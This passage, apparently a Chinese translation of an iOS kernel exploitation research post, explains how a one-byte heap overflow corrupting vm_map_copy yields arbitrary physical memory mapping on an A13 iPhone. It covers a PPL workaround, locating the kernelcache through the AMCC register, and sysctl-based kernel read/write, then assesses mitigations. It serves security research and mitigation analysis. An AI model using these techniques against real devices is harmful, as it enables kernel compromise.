pmap_enter_options（）负责修改目标的页表，以插入转换表条目，该转换表条目将建立从虚拟地址到物理地址的映射。似于 vm_map
如何管理地址空间的虚拟映射的状态，pmap结构管理地址空间物理映射(即页表)的状态。并根据osfmk/arm/pmap.c中的源代码。在添加转换表条目之前，不会对提供的物理页码进行进一步验证。
因此，我们破坏的vm_map_copy对象实际上为我们提供了一个非常强大的原语:将任意物理内存直接映射到用户空间中的进程中!
我决定在iOS 13.3的oob_timestamp
exploit所提供的内核读/写原语之上为vm_map_copy物理内存映射技术构建POC，有两个主要原因。
首先，我没有一个较好的漏洞可以用来开发一个完整的exploit。尽管我最初是在试图利用oob_timestamp漏洞时偶然发现这个想法的，但很快就发现这个漏洞并不适合这种技术。
其次，我希望独立实现该技术所使用的漏洞来评估该技术。似乎很有可能使该技术具有确定性（也就是说，没有故障案例）；在一个不可靠的的漏洞上实施它会使得很难单独进行评估。
这种技术适合于kalloc.80
至kalloc.32768的任何分配器区域中的可控一字节堆溢出(即65到32768字节的通用分配），为了便于在后文中参考，我将其称为“单字节利用技术”。
我们已经列出了上述技术的基本要素:创建一个KERNEL_BUFFER类型的vm_map_copy，其中包含一个指向伪造的vm_map_entry列表的指针，将该类型破坏为ENTRY_LIST，使用vm_map_copyout_internal()接收它，并将任意物理内存映射到我们的地址空间中。但是，成功的利用要复杂得多：
* 1.我们还没有处理伪造的vm_map_entry/vm_object/vm_page将被构造在哪里。
* 2.我们需要确保在映射物理页面之后，调用vm_map_copyout_internal（）的内核线程不会崩溃，死机或死锁。
* 3.映射一个物理页面是非常好的，但是它本身可能还不足以实现任意内核读/写。这是因为:
* kernelcache在物理内存中的加载地址是未知的，因此我们不能直接映射它的任何特定页面，而应该首先定位它。
* 一些硬件设备可能公开一个MMIO接口，该接口本身足够强大，可以构建某种读/写原语;但是，我不知道有任何这样的组件。
因此，我们将需要映射多个物理地址，并且很可能需要使用从一个映射读取的数据来查找另一个映射的物理地址。也就是说，我们的映射原语不能是一次性的。
* 4.在for循环尝试将vm_map_copy_insert()复制到vm_map_copy_zone后，调用vm_map_copy_insert。因为KERNEL_BUFFER对象最初是使用kalloc()分配的，所以如果vm_map_copy的初始类型是KERNEL_BUFFER，这将导致死机。
### PAN 捷径
单字节技术的一个重要前提条件是在已知地址上创建一个fake
vm_map_entry对象。因为我们已经在oob_timestamp上构建了这个POC，因此我决定使用在利用那个bug时学到的一个技巧。在实际情况中，除了单字节溢出之外，可能还需要另一个漏洞来泄漏内核地址。
在为oob_timestamp开发POC时，我了解到AGXAccelerator内核扩展提供了一个非常好的原语:OAccelSharedUserClient2和IOAccelCommandQueue2同时允许在用户空间和内核之间共享大范围的分页内存。访问用户/内核共享内存在开发exploits时非常有用，因为您可以在那里放置伪造的内核数据结构，并在内核访问它们时对它们进行操作。当然，这个AGXAccelerator原语并不是获得内核/用户共享内存的唯一方法；例如physmap还将大部分DRAM映射到虚拟内存中，因此它也可以用于将用户空间内存内容映射到内核中。但是，AGXAccelerator原语在实践中要方便得多：首先，它在一个受约束的地址范围内提供了一个非常大的连续内存共享区域；其次，它更容易泄漏相邻对象的地址来定位它。
在iPhone 7之前，iOS设备不支持PAN(Privileged Access
Never),也就是说所有的用户空间都是与内核共享内存的，您可以重写内核中的指针指向用户空间中伪造的数据结构。
但是，当前iOS设备启用了PAN，因此内核直接访问用户空间内存将会直接出错。这就是AGXAccelerator共享内存原语非常好用的原因:如果您可以构建一个较大的共享内存区域并知道其在内核中的地址，基本上等同于关闭了PAN。
当然，这句话的一个关键部分是“在内核中学习它的地址”；这样做通常需要一个漏洞。相反，由于我们已经依赖于oob_timestamp，我们将对共享内存地址进行简单的硬编码，动态地查找地址留给读者作为练习。
### POC panicking
有了内核读/写和用户/内核共享内存缓冲区后，我们就可以编写POC了。
我们首先在内核中创建共享内存区域，我们在共享内存中初始化一个伪造的vm_map_entry列表。列表包含3个条目:一个”ready”，一个”mapping”和一个”done”，这些条目表示每个映射操作的当前状态。
我们在Mach消息中包含一个伪造的vm_map_header的内存描述符发送到保留端口，外部内存作为vm_map_copy对象存储在内核中，该对象的类型为KERNEL_BUFFER(值为3)。
我们模拟了一个单字节的堆溢出，该溢出会破坏 vm_map_copy 的 type 字段，并将其更改为ENTRY_LIST（值为1）。
我们启动一个线程，它接收在保留端口上的Mach消息。这会在破坏的vm_map_copy上触发对vm_map_copyout_internal()的调用。
由于vm_map_entry列表初始化的配置，vm_map_copyout线程将在“done”条目上无限循环，为我们操作它做好准备。
此时，我们有一个内核线程正在准备映射所需的任何物理页面。
要映射一个页面，我们首先将“ready”条目设置为链接到它本身，然后将“done”条目设置为链接到“ready”条目。这将导致vm_map_copyout线程转换为”ready”。
在转换“ready”时，我们将“mapping”条目标记为与单个物理页面连接，并将其链接到“done”条目，我们将该条目链接到自身。我们还要填充伪造的vm_object和vm_page，以映射所需的物理页码。
然后，我们可以通过将“ready”条目链接到“mapping”条目来执行映射。vm_map_copyout_internal()将映射到页面中，然后在“done”条目上转换，表示完成。
这为我们提供了一个可重用的原语，该原语将任意物理地址映射到进程中。作为初步的Poc,我映射了不存在的物理地址0x414140000并试图从中读取，从而触发EL0de
LLC总线错误：
至此，我们已经证明了映射原语是正确的，但我们仍然不知道如何处理它。
我首先想到的是，最简单的方法是在内存中查找kernelcache
image。请注意，在目前的iphone上，即使使用直接的物理读/写原语，KTRR也会阻止我们修改内核image锁定的部分，因此我们不能仅仅修补内核的可执行代码。但是，kernelcache
image的某些段在运行时仍然是可写的，包括含有sysctls的部分数据段。因为sysctls以前就被用于构建读/写原语，所以感觉这是一个稳定的方向。
接下来的挑战是使用映射原语在物理内存中定位kernelcache，这样sysctl结构就可以映射到用户空间并进行修改。但首先，在我们弄清楚如何定位kernelcache之前，先来了解一下iPhone
11 Pro的物理内存知识。
iPhone 11 Pro在物理地址0x80000000有4GB的DRAM，因此物理DRAM地址的范围从0x800000000 到
0x900000000。其中，0x801b80000 到0x8ec9b4000
保留给应用处理器（AP），它是运行XNU内核和手机应用程序的主处理器。这个区域之外的内存为协处理器保留，例如：AOP(Always On
Processor)、ANE(Apple Neural Engine)、SIO (possibly Apple SmartIO)、 AVE、ISP、
IOP等。这些和其他区域的地址可以通过解析devicetree或在DRAM开始转储iboot-handoff区域来找到。
在boot时，kernelcache被连续加载到物理内存中，也就是说找到一个kernelcache页面就足以定位整个image了。另外，虽然KASLR可能会在虚拟内存中大量地减少kernelcache，但物理内存中的加载地址是相当有限的：在我的测试中，内核header总是加载在0x805000000和0x807000000之间的地址，范围只有32MB。
事实证明，此范围比内核缓存本身小，为 0x23d4000
字节，即35.8MB。因此，我们可以确定在运行时地址0x807000000包含一个kernelcache页面。
但是，在尝试映射kernelcache时，我很快陷入了panic：
panic(cpu 4 caller 0xfffffff0156f0c98): "pmap_enter_options_internal: page belongs to PPL, " "pmap=0xfffffff031a581d0, v=0x3bb844000, pn=2103160, prot=0x3, fault_type=0x3, flags=0x0, wired=1, options=0x1"
该panic字符串似乎来自于pmap_enter_options_internal（）函数，它位于XNU(osfmk/arm/pmap.c)的源代码中，但是源代码中没有出现panic。因此，我逆向了kernelcache中的pmap_enter_options_internal()，以了解发生了什么。
我了解到，问题在于我试图映射的page是Apple PPL（Protection Layer
）中的一部分，该page是XNU内核的一部分，用于管理页面表，它被认为比内核的其他部分拥有更大的权限。PPL的目标是防止攻击者修改受保护的page。
为了使受保护的pages不能被修改，PPL必须保护页表和页表元数据。因此，当我试图将一个受ppl保护的page映射到用户空间时，引发了panic。
if (pa_test_bits(pa, 0x4000 /* PP_ATTR_PPL? */)) {
panic("%s: page belongs to PPL, " ...);
}
if (pvh_get_flags(pai_to_pvh(pai)) & PVH_FLAG_LOCKDOWN) {
panic("%s: page locked down, " ...);
}
PPL的存在使物理映射原语的使用更在复杂，因为尝试映射受PPL保护的页面将引起panic。而且kernelcache本身包含许多受ppl保护的page，将连续的35
MB二进制文件拆分为较小的 PPL-free
块，这些块不再桥接kernelcache的物理结构。因此，我们不再可以映射一个kernelcache页面的物理地址。
而其他DRAM区域也是一个同样危险的雷区。PPL会抓取物理页面以供使用，并根据需要返回到内核，因此在运行时，PPL页面就像地雷一样分散在物理内存中。因此，在任何地方都没有确保不会被破坏的静态地址。
在A13上的AP
DRAM的每一页上显示保护标志的map。黄色为PPL+LOCKDOWN，红色为PPL，绿色为LOCKDOWN，蓝色为unguarded(可映射)。
## 0x03 两种技术
### DRAM 保护之路
然而，这并不完全正确。应用程序处理器的DRAM区域可能是一个雷区，但在它之外的任何区域都不是。这包括协处理器使用的DRAM，以及系统任何其他的寻址组件，比如通过memory-mapped I/O (MMIO)访问系统组件的硬件寄存器。
有了这么强大的原语，我希望可以使用多种技术来构建读/写原语。我希望通过直接访问特殊的硬件寄存器和协同处理器，可以完成许多事情。不幸的是，这不是我非常熟悉的领域，因此在这里我将介绍一次绕过PPL的尝试（失败）。
我的想法是控制一些协处理器，同时使用协处理器和AP上的执行来攻击内核。首先，我们使用物理映射原语来修改DRAM中协处理器存储数据的部分，以便在该协处理器上执行代码。接下来，回到主处理器上，我们再次使用映射原语来映射和禁用协处理器的设备地址解析表或DART（基本上是IOMMU）。在协处理器上执行代码并禁用了相应的DART的情况下，我们可以从协处理器直接无保护地访问物理内存，从而使我们能够完全避开对PPL的保护（PPL只在AP上执行）。
然而，每当我试图修改协处理器使用的DRAM的某些区域时，我就会遇到内核panic，特别是区域0x800000000 –
0x801564000看起来是只读的:
panic(cpu 5 caller 0xfffffff0189fc598): "LLC Bus error from cpu1: FAR=0x16f507f10 LLC_ERR_STS/ADR/INF=0x11000ffc00000080/0x214000800000000/0x1 addr=0x800000000 cmd=0x14(acc_cifl2c_cmd_ncwr)"
panic(cpu 5 caller 0xfffffff020ca4598): "LLC Bus error from cpu1: FAR=0x15f03c000 LLC_ERR_STS/ADR/INF=0x11000ffc00000080/0x214030800104000/0x1 addr=0x800104000 cmd=0x14(acc_cifl2c_cmd_ncwr)"
panic(cpu 5 caller 0xfffffff02997c598): "LLC Bus error from cpu1: FAR=0x10a024000 LLC_ERR_STS/ADR/INF=0x11000ffc00000082/0x21400080154c000/0x1 addr=0x80154c000 cmd=0x14(acc_cifl2c_cmd_ncwr)"
这是非常奇怪的:这些地址在KTRR锁定区域之外，所以没有任何内容能够阻止对DRAM这部分的写操作。因此，必须在此物理范围上强制执行其他一些未记录的锁定。
另一方面，0x801564000-0x801b80000仍然是可写的，对这个区域的不同区域写入会产生奇怪的系统行为，这支持了协处理器使用的数据被破坏的理论。例如，在某些区域写入会导致相机和手电筒失去响应，而在其他区域写入会导致手机在开启静音滑块时出现panic。
为了方便了解可能发生的情况，我通过检查devicetree并dump内存来确定这个范围内的区域。最后，我发现在0x800000000 –
0x801b80000范围内的协处理器固件段布局如下:
因此，被锁定的区域都是协处理器固件的所有 **TEXT 段,这表明，苹果已经增加了一个新的缓解措施，使协处理器** TEXT
段在物理内存中只读，类似于AMCC(可能是苹果的内存控制器)上的KTRR，但不只是针对AP内核，而是针对协处理器固件。这可能是之前发布的xnu-6153.41.3源代码中引用的未记录的CTRR缓解措施，它似乎是A12及更高版本上KTRR的增强版；Ian
Beer建议CTRR可以表示协处理器Text只读区域。
然而，在这些协处理器上执行代码应该仍然是可行的：就像KTRR不能阻止AP上的利用一样，协处理器 Text
锁定缓解也不能阻止对协处理器的攻击。因此，即使这种缓解会使事情变得更困难，但此时我们禁用DART并使用协处理器上的代码执行来写入受PPL保护的物理地址的方案，应该仍然可行。
### PPL的影响
但是，PPL在应用程序处理器上强制执行的DART/IOMMU锁定确实是一个障碍。在boot时，XNU解析devicetree中的“pmap-io-ranges”属性来填充io_attr_table数组，该数组存储特定物理I/O地址的页面属性。然后，当尝试映射物理地址时，pmap_enter_options_internal()检查属性，看看是否应该不允许某些映射:
wimg_bits = pmap_cache_attributes(pn); // checks io_attr_table
if ( flags )
wimg_bits = wimg_bits & 0xFFFFFF00 | (u8)flags;
pte |= wimg_to_pte(wimg_bits);
if ( wimg_bits & 0x4000 )
{
xprr_perm = (pte >> 4) & 0xC | (pte >> 53) & 1 | (pte >> 53) & 2;
if ( xprr_perm == 0xB )
pte_perm_bits = 0x20000000000080LL;
else if ( xprr_perm == 3 )
pte_perm_bits = 0x20000000000000LL;
else
panic("Unsupported xPRR perm ...");
pte = pte_perm_bits | pte & ~0x600000000000C0uLL;
}
pmap_enter_pte(pmap, pte_p, pte, vaddr);
因此，只有清除了wimg字段中的0x4000位，我们才能将DART的I/O地址映射到我们的进程中。不幸的是，快速查看一下devicetree中的“pmap-io-ranges”属性，可以确认为每个DART设置了0x4000位:
addr len wimg signature
0x620000000, 0x40000000, 0x27, 'PCIe'
0x2412C0000, 0x4000, 0x4007, 'DART' ; dart-sep
0x235004000, 0x4000, 0x4007, 'DART' ; dart-sio
0x24AC00000, 0x4000, 0x4007, 'DART' ; dart-aop
0x23B300000, 0x4000, 0x4007, 'DART' ; dart-pmp
0x239024000, 0x4000, 0x4007, 'DART' ; dart-usb
0x239028000, 0x4000, 0x4007, 'DART' ; dart-usb
0x267030000, 0x4000, 0x4007, 'DART' ; dart-ave
因此，我们无法将DART映射到用户空间以禁用它。
即使PPL阻止我们映射页表和DART
I/O地址，其他硬件组件的物理I/O地址仍然是可映射的。因此，仍然可以映射和读取某些系统组件的硬件寄存器来尝试定位内核。
我最初的尝试是从IORVBAR读取，通过MMIO可访问ResetVector基地址寄存器。ResetVector是复位后在CPU上执行的第一段代码。因此，读取IORVBAR
将为我们提供XNU ResetVector的物理地址，该地址将精确定位物理内存中的内核缓存（kernelcache）。
IORVBAR映射在devicetree中每个CPU的“reg-private”地址后的偏移0x40000处;例如，在A13 CPU
0上，它位于物理地址0x210050000。它包含同一组CoreSight和DBGWRAP
的寄存器集的一部分，以前是用来绕过KTRR的，但是，我发现IORVBAR在A13上是不可访问的:尝试从中读取将导致panic。
我花了一些时间在A13的SecureROM上搜索有意思的物理地址，后来Jann
Horn建议我把KTRR锁定寄存器映射到苹果的内存控制器AMCC上。这些寄存器存储KTRR区域的物理内存边界，强制KTRR只读，以防止来自协处理器的攻击。
在物理地址0x200000680处映射和读取AMCC的RORGNBASEADDR寄存器，可以轻松地生成物理内存中包含kernelcache锁定区域的起始地址。使用安全缓解机制来破坏其他安全缓解机制是非常有意思的。
在找到使用AMCC的正确方法之后，我研究了最后一种可能性，然后放弃绕过PPL。
iOS配置了40位物理地址和16K pages
(14位)。同时，传递给pmap_enter_options_internal()的任意物理页码是32位，当插入到级别3的转换表条目(L3
TTE)时，它被移动14位，并用0xFFFF_FFFF_C000屏蔽。也就是说我们可以控制TTE的第45-14
位，即使根据编程中TCR_EL1.IPS的物理地址大小，45-40位应该始终为零。
如果硬件忽略了超出支持的最大物理地址大小的位，那么我们可以通过提供一个与DART
I/O地址或页表完全匹配的物理页码来绕过PPL，但设置了一个高位。设置高位将导致映射地址无法匹配“pmap io
ranges”中的任何地址，即使TTE将映射相同的物理地址。这样做很巧妙，因为它可以让我们绕过PPL作为内核读/写/执行的前提。
不幸的是，实践证明，硬件实际上会检查超出支持的物理地址大小的TTE位是否为零。因此，我继续使用AMCC技巧来定位kernelcache。
### 控制 sysctl
此时，我们有了一个用于非ppl物理地址的物理读/写原语，并且知道了物理内存中的kernelcache的地址。下一步是构建一个虚拟的读/写原语。
对于这一部分，我决定坚持使用已知的技术:利用sysctl()
syscall使用的sysctl_oid树存储在kernelcache的可写内存中这一事实来操作它，并将app 沙盒允许的sysctl转换为内核读/写原语。
XNU从FreeBSD继承了sysctls;它们提供对用户空间的某些内核变量的访问。例如，”hw.l1dcachesize”
只读sysctl允许进程确定L1数据高速缓存线的大小。而“
kern.securelevel”读/写sysctl控制“系统安全级别”，用于BSD内核部分的操作。
sysctl被组织成树层次结构，树中的每个节点由sysctl_oid结构体表示。构建内核读取原语非常简单，只需为app沙盒中可读的sysctl映射sysctl_oid结构，并将目标变量指针(oid_arg1)更改为指向我们想要读取的虚拟地址。然后调用sysctl读取该地址。
使用sysctls构建写原语有点复杂，因为在容器沙箱配置文件中没有列出可写的sysctls。iOS 10.3.1的ziVA
exploit通过将sysctl的oid_handler字段更改为调用copyin()来解决这个问题。但是，在像A13这样启用PAC的设备上，oid_handler是由PAC保护的，也就是说我们无法更改它的值。
但是，在逆向hook_system_check_sysctlbyname()函数时，我注意到一个没有文档记录的行为:
// Sandbox check sysctl-read
ret = sb_evaluate(sandbox, 116u, &context);
if ( !ret )
{
// Sandbox check sysctl-write
if ( newlen | newptr && (namelen != 2 || name[0] != 0 || name[1] != 3) )
ret = sb_evaluate(sandbox, 117u, &context);
else
ret = 0;
}
出于某些原因，如果在沙箱中认为sysctl节点是可读的，那么就不会在特定的sysctl节点{0,3}上执行写检查!也就是说{0,3}在每个可读的沙箱中都是可写的，而不管沙箱配置文件是否允许对sysctl进行写操作。
结果是，sysctl{0,3}的名称是“sysctl.name2mib”，这是一个可写的sysctl，用于将sysctl的字符串名转换为数字形式，这样查找起来更快。它用于实现sysctlnametomib()。因此，这个sysctl通常应该是可写的。
## 0x04 回到主题
### pmap fields 之战
我们已经研究了很久，但是还没有结束：我们必须打破僵局。就目前情况而言，vm_map_copyout_internal（）在“完成”的vm_map_entry
上进行无限循环，它的vme_next指针指向自己。我们必须引导这一功能的安全返回，以保持系统的稳定。
有两个问题阻碍了这一点。首先，因为我们在pmap层将条目插入到页表中，而没有在vm_map层创建相应的虚拟条目，所以当前地址空间的pmap和vm_map视图之间存在冲突。如果没有解决这一问题，将导致进程退出时出现panic。其次，一旦循环中断，vm_map_copyout_internal()将调用vm_map_copy_insert()，这会在将破坏的vm_map_copy释放到错误区域时产生panic。
我们将首先处理pmap/vm_map冲突。假设我们能够跳出for循环并允许vm_map_copyout_internal()返回。对vm_map_copy_insert()的调用发生在for循环遍历vm_map_copy中的所有条目之后，将它们从vm_map_copy的条目列表中unlinks，并将它们链接到vm_map的条目列表中。
static void
vm_map_copy_insert(
vm_map_t map,
vm_map_entry_t after_where,
vm_map_copy_t copy)
{
vm_map_entry_t entry;
while (vm_map_copy_first_entry(copy) !=
vm_map_copy_to_entry(copy)) {
entry = vm_map_copy_first_entry(copy);
vm_map_copy_entry_unlink(copy, entry);
vm_map_store_entry_link(map, after_where, entry,
VM_MAP_KERNEL_FLAGS_NONE);
after_where = entry;
}
zfree(vm_map_copy_zone, copy);
}
由于vm_map_copy的vm_map_entrys都是驻留在共享内存中的伪造对象，因此我们确实不希望将它们链接到 vm_map
的条目列表中，在进程退出时将其释放。因此，最简单的解决方案是更新破坏的vm_map_copy 的条目列表，使其看起来为空。
强制vm_map_copy
的条目列表显示为空无疑使我们可以安全地从vm_map_copyout_internal（）返回，但是一旦进程退出，我们仍然会造成panic：
panic（cpu 3 caller 0xfffffff01f4b1c50）：“ pmap_tte_deallocate（）：pmap = 0xfffffff06cd8fd10 ttep = 0xfffffff0a90d0408 ptd = 0xfffffff132fc3ca0 refcnt = 0x2 \ n”
问题在于，在利用过程中，我们的映射原语强制pmap_enter_options()将3级转换表条目(L3
TTEs)插入到流程的页表中，但在vm_map上层的相应计算从未产生。pmap和vm_map视图之间的区别很重要，因为pmap层要求在销毁pmap之前显式地删除所有物理映射，如果
vm_map_entry 没有描述相应的虚拟映射，则vm_map层将不知道删除物理映射。
由于PPL的原因，我们不能直接更新pmap，因此最简单的解决方法是获取一个指向带有错误页面的合法vm_map_entry的指针，并将其覆盖在pmap_enter_options()建立物理映射的虚拟地址范围之上。因此，我们将更新破坏的vm_map_copy条目列表，使其指向这个单一的“overlay”条目。
最后，是时候将vm_map_copyout_internal()从for循环中断开了。
for (entry = vm_map_copy_first_entry(copy);
entry != vm_map_copy_to_entry(copy);
entry = entry->vme_next) {
vm_map_copy_to_entry(copy) 宏扩展为:
(struct vm_map_entry *)(©->c_u.hdr.links)
因此，为了跳出循环，我们需要处理一个vm_map_entry，其中vme_next
指向最初传递给此函数的已损坏的vm_map_copy中c_u.hdr.links 字段。
该函数目前在“done” vm_map_entry上转换，我们需要链接到一个最终的“overlay”
vm_map_entry中，以解决pmap/vm_map冲突问题。因此，打破循环的最简单的方法是修改“overlay”条目的vme_next，使其指向©->c_u.hdr.links。然后更新“done”条目的vme_next，以指向覆盖条目。
问题是前面提到的对vm_map_copy_insert()的调用，它释放vm_map_copy，好像它是ENTRY_LIST类型:
zfree(vm_map_copy_zone, copy);
但是，传递给zfree()的对象是已破坏的vm_map_copy，它是由kalloc()分配的;尝试将其释放到vm_map_copy_zone将导致panic。因此，我们需要确保将一个不同的、合法的vm_map_copy对象传递给zfree()。
如果您查看了vm_map_copyout_internal（）的反汇编，vm_map_copy指针会在for循环期间溢出到堆栈中!
FFFFFFF007C599A4 STR X28, [SP,#0xF0+copy]
FFFFFFF007C599A8 LDR X25, [X28,#vm_map_copy.links.next]
FFFFFFF007C599AC CMP X25, X27
FFFFFFF007C599B0 B.EQ loc_FFFFFFF007C59B98
... ; The for loop
FFFFFFF007C59B98 LDP X9, X19, [SP,#0xF0+dst_addr]
FFFFFFF007C59B9C LDR X8, [X19,#vm_map_copy.offset]
这样就可以很容易地确保传递给zfree()的指针是从vm_map_copy_zone分配的一个合法的vm_map_copy:只要在vm_map_copyout_internal()线程转换时扫描它的内核堆栈，并将指向破坏的vm_map_copy的指针与合法的指针交换。
最后，我们已经完全修复了状态，允许vm_map_copyout_internal()中断循环并安全返回。
在虚拟内核读/写原语和vm_map_copyout_internal()线程安全返回后，我们实现了我们的目标:通过将一个字节控制的堆溢出直接转换为任意物理地址映射原语。
准确地说，一个几乎任意的物理地址映射原语。正如我们所看到的，PPL保护的地址无法使用此技术进行映射。
单字节技术最初似乎与主流的攻击流相对应。在阅读了vm_map.c和pmap.c中的代码之后，我希望能够简单地将所有DRAM映射到我的地址空间，然后通过使用这些映射执行手动页表遍历来实现内核读/写。但实践证明，PPL通过阻止某些页面被映射来阻止这种技术在目前iOS上应用。
有意思是，类似的研究在几年前也曾被提过，那时这样的研究本是可行的。为这篇文章做背景调查的时候,我遇到了一个由Aximum公司提出的名为“[iOS 6
Kernel Security:A Hacker’s
Guide](https://conference.hitb.org/hitbsecconf2012kul/materials/D1T2%20-%20Mark%20Dowd%20&%20Tarjei%20Mandt%20-%20iOS6%20Security.pdf)”:介绍了至少四个独立的原语，这些原语可以通过破坏vm_map_u
copy_t的各个字段来构建：相邻内存泄漏、任意内存泄漏、扩展堆溢出，以及地址泄漏和已公开地址的堆溢出的组合。
在演示时，KERNEL_BUFFER 类型有一个稍微不同的结构，因此c_u.hdr.links.next 与存储vm_map_copy
的kalloc（）分配大小的字段重叠。在某些平台上，仍然可以将一个字节的溢出转换为物理内存映射原语，但这将更加困难，因为这将需要映射空页和共享地址空间。但是，上述四种技术中使用的更大的溢出肯定会改变type和c_u.hdr.links.next字段。
在OS X
10.11和ios9中，修改vm_map_copy结构，删除KERNEL_BUFFER实例中冗余的分配大小和内联数据指针字段。这样做可能是为了减轻这种结构在利用中被频繁滥用的情况，尽管很难判断，因为这些字段是冗余的，可以简单地删除来清理代码。无论如何，删除这些字段将vm_map_copy更改为当前形式，将执行该技术所需的前提条件演变为单字节溢出。
### 缓解机制
那么，各种iOS内核漏洞攻击缓解措施在阻止单字节技术方面效果如何，如果进一步加强，效果会有多大？
我考虑的缓解措施包括KASLR、PAN、PAC、PPL和zone_Required。还有许多其他的缓解措施，但它们要么不适用于堆溢出类漏洞，要么它们不是缓解这种特定技术的最佳方案。
首先，内核地址随机化(KASLR)。在虚拟内存中移动kernelcache
image，以及kernel_map和submaps(zone_map、kalloc_map等)的随机化，它们统称为“kernel
heap”。内核堆随机化表明确实需要某种方法来确定我们在其中伪造的VM对象的内核/用户共享内存缓冲区的地址。。但是，一旦有了共享缓冲区的地址，两种形式的随机化都不会对该技术产生太大影响，原因有两个：首先，存在通用的iOS内核堆原语，vm_map_copy
之前分配的区域，可用于将所有分配放入目标kalloc中。所以随机化不会阻止初始内存破坏。其次，在破坏发生后，授权的原语是任意物理读/写的，这与虚拟地址随机化无关。
唯一影响exploit的地址随机化是物理内存中的kernelcache加载地址的随机化。当iOS启动时，iBoot以随机地址将内核缓存加载到物理DRAM中。正如第一部分所讨论的，这种物理随机化只有32
MB，但是，改进的随机化不会有帮助，因为AMCC硬件寄存器可以被映射到物理内存中的内核缓存，而不管它位于哪里。
其次考虑PAN，这是一种ARMv8.1安全缓解措施，可防止内核直接访问用户空间虚拟内存，从而防止覆盖指向内核对象的指针，以使它们指向用户空间中的伪造的对象的常见技术。绕过PAN是此技术的前提条件:我们需要在一个已知地址上建立vm_map_entry、vm_object和vm_page对象的结构。虽然对于这个POC来说，对共享缓冲区地址进行硬编码已经足够好了，但要真正利用它，还需要更好的技术。
PAC，即指针身份验证代码，是苹果A12
SOC中引入的ARMv8.3安全特性。iOS内核使用PAC有两个目的:首先是针对常见漏洞的利用缓解措施，其次是作为内核控制流完整性的一种形式，以防止使用内核读/写的攻击者获得任意代码执行。在这个设置中，我们只对PAC作为一种漏洞利用缓解措施感兴趣。
Apple的网站上有一个表格显示了各种类型的指针是如何被PAC保护的，这些指针大部分都是被编译器自动PAC保护的，到目前为止PAC对c++对象的影响最大，尤其是IOKit。同时，单字节利用技术只涉及vm_map_copy、vm_map_entry、vm_object和vm_page对象，这些都是内核Mach部分中的普通C结构，因此不受PAC的影响。
但是，在BlackHat 2019上，苹果公司的Ivan Krstić
将很快用于保护某些“重要的数据结构成员”，包括“进程、任务、代码签名、虚拟内存子系统，IPC结构”。截至2020年5月，增强的PAC保护尚未发布，但如果实施，它可能会有效地阻止单字节技术。
下一个缓解是PPL，它代表页面保护层。PPL在管理页表的代码和XNU内核之间创建了一个安全边界。这是除PAN之外唯一影响该利用技术的缓解措施。
在实践中，PPL在允许将哪些物理地址映射到用户空间进程方面要严格得多。例如，用户空间进程访问内核缓存页面没有合法的用例，因此在kernelcache页面上设置PVH_FLAG_LOCKDOWN这样的标志可能是一个微弱但明智的步骤。一般而言，对于大多数进程而言，可能会使应用处理器的DRAM区域之外的地址（包括用于硬件组件的物理I/O地址）无法映射，可能会有一个特殊情况下逃逸权限。
最后一个缓解是zone_require，这是在iOS
13中引入的一个软件缓解机制，它在使用一些内核指针之前检查它们是否从预期的zalloc区域分配。我认为XNU的区域分配器最初并不是为了降低安全性，在漏洞利用期间经常成为目标，许多对象(特别是ipc_ports、tasks和threads)都是从专属zone分配的。
理论上，zone_require可以用来保护从专属区域分配的几乎所有对象;但事实上，kernelcache中的绝大多数zone_require()检查都是在ipc_port对象上进行的。因为单字节技术避免了使用伪造的Mach
ports，所以现有的zone_require()检查都不适用。
但是，如果扩大了zone_require的使用范围，则有可能缓解该技术。特别是，一旦vm_map_copyout_internal()确定了vm_map_copy的类型为ENTRY_LIST，那么在vm_map_copy中插入一个zone_require()调用，将确保vm_map_copy不会是具有已破坏的KERNEL_BUFFER对象。当然，与所有缓解措施一样，这也不是100%可靠的:在exploit中使用该技术仍然可以，但是与单字节溢出相比，它可能需要更好的原语。
## 0x05 “附录A”：漏洞利用史
在我看来，在这篇文章中介绍的单字节利用技术与至少自iOS
10以来采用的传统方法是有区别的。自从iOS10以来，我发现的24个原始公开漏洞中，有19个使用伪造Mach ports
作为exploitation原语。在iOS10.3 以来公布的20个exploits中，有18个是通过构建一个伪造的内核task port，这使得Mach
ports成为目前iOS内核利用的特性。
在经历了使用单字节技术在模拟堆溢出的基础上构建内核读/写原语的过程之后，，我可以看到使用内核task
port的逻辑。自从iOS10之后，我看到的大多数exploits都有一个相对模块化的设计和流程：获得初始原语，操作状态，采用漏洞利用技术来构建更强大的原语，再次对状态进行操作，然后应用另一种技术，等等，直到最后你有足够的能力来构建一个伪造的内核task
port。整个过程都有所检查：初始破坏、挂起的Mach
port、4字节读原语等等。每一种情况下的具体步骤顺序是不同的，但大体上来讲，不同exploits的设计是一致的。由于这种趋势，最后一个exploits的步骤几乎可以与其他任何exploits的步骤互换。
这种模块化并不适用于这种单字节技术。一旦启动了vm_map_copyout_internal()循环，就会一直执行这个过程，直到获得内核读/写原语为止。并且由于vm_map_copyout_internal（）在循环期间持有
vm_map
锁，因此无法执行任何虚拟内存操作(比如分配虚拟内存)，而这些操作通常是常规漏洞利用中不可缺少的步骤。因此，编写这个exploit感觉有所不同，更麻烦。
话虽如此，单字节方法给我直接的感觉是“技术上更精巧”:它将较弱的前提条件直接转化为非常强大的原语，同时避开了大多数缓解措施，避免了通用iOS漏洞利用中出现的大多数不稳定因素。在我所分析的24个iOS漏洞中，有22个依赖于重新分配一个最近被释放的对象的slot。除了SockPuppet这个例外，这是一个危险操作，因为另一个线程可能会重新分配该slot。此外，自从iOS
11以来的19个exploits中有11个依赖于强制垃圾回收区域，这是一个更危险的步骤，通常需要几秒钟才能完成。
同时，单字节技术没有内在的不稳定因素或大量的时间成本。看起来更像是我认为熟练的攻击者会感兴趣的技术类型。即使在漏洞利用过程中出了点问题，并且内核中取消了错误地址的引用，持有
vm_map
锁的也证明该错误会导致死锁而不是内核崩溃，exploit失败看起来像冷冻过程而不是系统崩溃。你甚至可以在应用切换UI中“kill”死锁应用，然后继续使用该设备。
## 0x06 “附录B”：结论
最后，我将回到本文最开始的三个问题：
* 1.将内核task port作为目标真的是最好的利用方法吗？
* 2.还是这种趋势掩盖了其他也许更好的技术？
* 3.现有的iOS内核缓解措施是否同样有效地防止了其他以前未被发现的漏洞利用方法？
这些问题都太“模糊”，无法给出具体的答案，但是无论如何我都会尝试回答。
对于第一个问题，我认为答案是否定的，内核task
port不是唯一的最佳利用方法。单字节技术在大多数情况下都一样好用，而且在我个人看来，我希望还有其他尚未公布的技术也一样好用。
对于第二个问题，关于内核task
